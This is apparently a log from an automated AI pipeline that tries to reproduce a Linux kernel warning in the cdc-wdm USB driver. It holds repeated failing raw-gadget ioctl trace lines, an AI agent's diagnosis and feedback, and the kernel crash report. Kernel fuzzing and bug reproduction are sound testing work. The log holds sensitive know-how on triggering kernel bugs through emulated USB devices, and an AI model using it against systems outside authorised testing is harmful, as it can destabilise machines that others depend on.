[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
Crash Report:
|
| 266/4 |
2026/09/11 23:09 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 17532
output: 457
thoughts: 3454
Thoughts: **Analysis of reproducer execution for a Linux kernel bug**
I've been tasked with analyzing the results of running a reproducer for a Linux kernel bug, specifically a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` within `drivers/usb/class/cdc-wdm.c`. The warning itself is "URB ffff888112540000 submitted while active."
My analysis of the execution results leads me to the following conclusions:
First and foremost, the reproducer **did not reproduce the bug**. My check for `IsProbe` was false, and `Reproduced` was also false. There was no crash reported, and the console output, while showing `raw-gadget` initialization and the creation of dummy USB devices, did not indicate any critical errors that would lead to the intended bug.
Digging deeper, the strace output is quite illuminating. It shows a continuous stream of `ioctl` calls. Specifically, it's repeatedly executing:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
I've identified that this `ioctl` call corresponds to `USB_RAW_IOCTL_EVENT_FETCH`. The `-EINVAL` return code is the key here. Looking into the kernel source for `drivers/usb/gadget/legacy/raw_gadget.c`, the `raw_ioctl_event_fetch` function returns `-EINVAL` under a few conditions:
1. If the `length` field of the user-provided `struct usb_raw_event` is greater than `U16_MAX`.
2. If the `length` field of the user-provided `struct usb_raw_event` is smaller than the actual length of the pending event (`fetch.length < event->length`).
Given the strace output and the typical behavior of syzkaller-generated C code, the most probable cause for this persistent `EINVAL` is that the `length` field of the `struct usb_raw_event` is not being correctly initialized by the C code before the `USB_RAW_IOCTL_EVENT_FETCH` is called. It's likely being left uninitialized or set to zero. If `fetch.length` is zero, and there's a pending event (even a small one), the condition `fetch.length < event->length` will be true, leading to `-EINVAL`. Alternatively, an uninitialized `length` could simply be a very large, invalid value exceeding `U16_MAX`.
This failure in fetching USB gadget events means the USB device emulation is stuck in an infinite loop of `ioctl` calls. Consequently, the intended target driver, `cdc-wdm`, is never probed or initialized, which is why the bug itself was never triggered. The reproducer also timed out after 2 minutes and 30 seconds, which is consistent with this infinite loop.
To summarize my thoughts on the path forward:
* **The reproducer needs adjustment:** The C code generated by syzkaller (or the underlying mechanism for generating it) needs to ensure that the `length` field of the `struct usb_raw_event` is properly set before `USB_RAW_IOCTL_EVENT_FETCH` is invoked. This typically means initializing it to the size of the data buffer intended to receive the event data (e.g., 64 bytes, based on the `0x48` argument in the ioctl).
* **Correct event handling:** The reproducer should also be designed to handle potential `-EINVAL` return codes gracefully, rather than getting stuck in an endless loop.
* **Device descriptor validation:** While the primary issue seems to be the event fetch, it's also worth ensuring that the USB device descriptors provided within the reproducer are accurate and complete enough to correctly identify and trigger the probe of a CDC WDM device.
In essence, the reproducer is failing because the simulated USB environment isn't setting itself up correctly due to an issue with how it's fetching events, preventing the actual bug from being reached.
|
| 267/4 |
2026/09/11 23:10 |
tool |
set-results |
0m
Args: map[Feedback:The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running. ProbePassed:false TerminalError: TitleMatches:false]
Results: map[Feedback:The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running. ProbePassed:false TerminalError: TitleMatches:false]
|
| 268/3 |
2026/09/11 23:10 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 269/2 |
2026/09/11 23:10 |
iteration |
3 |
36m
|
| 270/3 |
2026/09/11 23:10 |
action |
If |
17m
Args: map[OracleFeedback:The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running.]
|
| 271/4 |
2026/09/11 23:10 |
agent |
strategy-refiner |
17m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.
=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.
=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
